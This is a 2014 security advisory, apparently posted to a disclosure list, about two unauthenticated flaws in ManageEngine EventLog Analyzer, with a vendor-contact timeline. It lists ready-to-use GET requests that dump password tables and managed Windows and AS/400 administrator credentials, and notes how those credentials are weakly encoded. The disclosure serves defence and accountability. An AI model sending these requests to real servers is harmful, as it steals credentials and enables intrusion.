[The ManageOwnage Series, part VI]: 0day database info and superuser credential disclosure in EventLog Analyser


Hi, This is the 6th part of the ManageOwnage series. For previous parts see [1]. This time we have two 0 day vulns (CVE-2014-6038 and 6039) that can be abused to dump information from the database and obtain the superuser credentials for Windows and AS/400 hosts which are managed by EventLog Analyzer. A Metasploit module has also been released and should be integrated in the framework in the next few days [2]. I'm releasing these as a 0 day since it's been 70 days since I informed ManageEngine of this vulnerability and they have been twiddling their thumbs ever since. The last update I got was that they were "working on fixing it but couldn't commit to a date; the tentative date is end of the year". Since they have been vulnerable to a more serious remote code execution 0 day for 67 days now (see [3]), I'm not holding this any longer. Details and timeline of disclosure are below, and a copy of this advisory can be found at my repo [4]. Regards, Pedro >> Multiple vulnerabilities in ManageEngine EventLog Analyzer >> Discovered by Pedro Ribeiro (pedrib@gmail.com), Agile Information Security ========================================================================== Disclosure: 05/11/2014 / Last updated: 05/11/2014 >> Background on the affected product: "EventLog Analyzer provides the most cost-effective Security Information and Event Management (SIEM) software on the market. Using this Log Analyzer software, organizations can automate the entire process of managing terabytes of machine generated logs by collecting, analyzing, correlating, searching, reporting, and archiving from one central location. This event log analyzer software helps to monitor file integrity, conduct log forensics analysis, monitor privileged users and comply to different compliance regulatory bodies by intelligently analyzing your logs and instantly generating a variety of reports like user activity reports, historical trend reports, and more." A Metasploit exploit that abuses these two vulnerabilities to obtain the managed device superuser credentials has been released. #1 Vulnerability: SQL database information disclosure (read any table in the database) CVE-2014-6038 Constraints: none; no authentication or any other information needed. On v7 the url has to be prepended with /event/. Affected versions: all versions from v7 to v9.9 build 9002. GET /agentHandler?mode=getTableData&table=[tableName] GET /agentHandler?mode=getTableData&table=AaaUser --> user logins GET /agentHandler?mode=getTableData&table=AaaPassword --> user passwords (MD5 hashed) and salts GET /agentHandler?mode=getTableData&table=AaaPasswordHint --> user password hints GET /agentHandler?mode=getTableData&table=HostDetails --> Windows / AS/400 managed hosts Administrator usernames and passwords (XOR'ed with 0x30) #2 Vulnerability: Windows / AS/400 managed hosts Administrator credentials disclosure CVE-2014-6039 Constraints: none; no authentication or any other information needed. On v7 the url has to be prepended with /event/. Affected versions: all versions from v7 to v9.9 build 9002. GET /hostdetails?slid=X&hostid=Y GET /hostdetails?slid=1&hostid=1 --> Windows / AS/400 hosts superuser username and password (XOR'ed with 0x30 and base64 encoded) >> Fix: UNFIXED - ManageEngine failed to take action after 70 days. Timeline of disclosure: 28/08/2014 - Requested contact to email via ManageEngine Security Response Center - Received email from support and sent details about the vulnerabilities above and a third vulnerability (remote code execution via file upload). 28/08/2014 - ManageEngine acknowledge the receipt and promise to keep me informed of the progress. 31/08/2014 - hong10 releases details about the remote code execution via file upload vulnerability which I had discovered. Apparently he discovered and communicated it to ManageEngine over a year ago and no action had been taken (see http://seclists.org/fulldisclosure/2014/Aug/86). - I ask ManageEngine why I hadn't been informed that one of my vulnerabilities had already been disclosed to them over a year ago. They respond with "We appreciate your efforts and will fix your vulnerabilities, please bear with us". - With hong10's support, I release an exploit for the remote code execution vulnerability (see http://seclists.org/fulldisclosure/2014/Aug/88). I also remove the vulnerability information from this report since it has already been discovered and disclosed by hong10. 11/09/2014 - Asked for an update on progress. Received a response a day after "the development team will include the fix in our next release". 13/10/2014 - Asked for an update on progress. No response. 17/10/2014 - Informed ManageEngine that will release details and an exploit the next day if no reply is received. 19/10/2014 - Attempted escalation via the project manager for Desktop Central. EventLog support team replies on the next day apologising for not responding and saying will get back to me as soon as possible. 05/11/2014 - Informed EventLog support that would release details and exploit today. Received reply stating "we are working on this but cannot commit to a date; the new version has a tentative release date of end of quarter". - Released advisory and exploit 70 days after initial contact (interesting fact: it's been 67 days since the release of my exploit for hong10's vulnerability and EventLog Analyzer is still vulnerable to remote code execution). [1] http://seclists.org/fulldisclosure/2014/Aug/55 http://seclists.org/fulldisclosure/2014/Aug/75 http://seclists.org/fulldisclosure/2014/Aug/88 http://seclists.org/fulldisclosure/2014/Sep/1 http://seclists.org/fulldisclosure/2014/Sep/110 [2] https://github.com/rapid7/metasploit-framework/pull/4137 [3] http://seclists.org/fulldisclosure/2014/Aug/88 [4] https://raw.githubusercontent.com/pedrib/PoC/master/ManageEngine/me_eventlog_info_disc.txt